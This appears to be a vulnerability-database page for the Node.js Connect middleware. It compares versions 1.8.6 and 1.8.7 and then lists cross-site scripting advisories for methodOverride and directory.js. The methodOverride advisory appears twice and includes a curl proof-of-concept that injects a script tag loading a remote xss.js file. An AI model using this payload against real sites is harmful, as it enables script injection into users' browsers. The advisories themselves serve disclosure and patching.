Connect is a high-performance middleware framework for Node.js. Examining versions 1.8.7 and 1.8.6, we observe nearly identical dependency structures, development dependencies, repository information, and author details. Both versions rely on "qs" (version >= 0.4.0), "mime" (version >= 0.0.1), and "formidable" (version 1.0.x) for core functionalities such as query string parsing, MIME type handling, and form data processing, respectively. For development, both versions use "expresso," "koala," "less," "sass," "markdown," "ejs," and "should," indicating a focus on comprehensive testing, documentation generation, and stylesheet compilation during the development lifecycle.
The key difference lies in the release date and potentially included bug fixes or minor features. Version 1.8.7 was released on April 20, 2012, while version 1.8.6 was released on March 28, 2012. This three-week gap suggests that version 1.8.7 likely incorporates bug fixes, performance improvements, or minor enhancements discovered after the release of 1.8.6. Developers choosing between these versions should generally opt for version 1.8.7 to benefit from the latest improvements and fixes. However, if maintaining strict compatibility with a project already using 1.8.6 is crucial and no issues have been encountered, upgrading might not be immediately necessary. Connect provides a robust foundation for building web applications and APIs, with a focus on modularity and extensibility through its middleware architecture.
All the vulnerabilities related to the version 1.8.7 of the package
methodOverride Middleware Reflected Cross-Site Scripting in connect
Connect is a stack of middleware that is executed in order in each request.
The "methodOverride" middleware allows the http post to override the method of the request with the value of the "_method" post key or with the header "x-http-method-override".
Because the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the "Cannot [method]
[url]
" content. The method was not properly encoded for output in the browser.
###Example:
~ curl "localhost:3000" -d "_method=<script src=http://nodesecurity.io/xss.js></script>"
Cannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /
Update to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.
Node Connect Reflected Cross-Site Scripting in Sencha Labs Connect middleware
node-connect before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)
Connect is a stack of middleware that is executed in order in each request.
The "methodOverride" middleware allows the http post to override the method of the request with the value of the "_method" post key or with the header "x-http-method-override".
Because the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the "Cannot [method]
[url]
" content. The method was not properly encoded for output in the browser.
~ curl "localhost:3000" -d "_method=<script src=http://nodesecurity.io/xss.js></script>"
Cannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /
Update to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.
Sergio Arcos
Cross-Site Scripting in connect
connect node module before 2.14.0 suffers from a Cross-Site Scripting (XSS) vulnerability due to a lack of validation of file in directory.js middleware.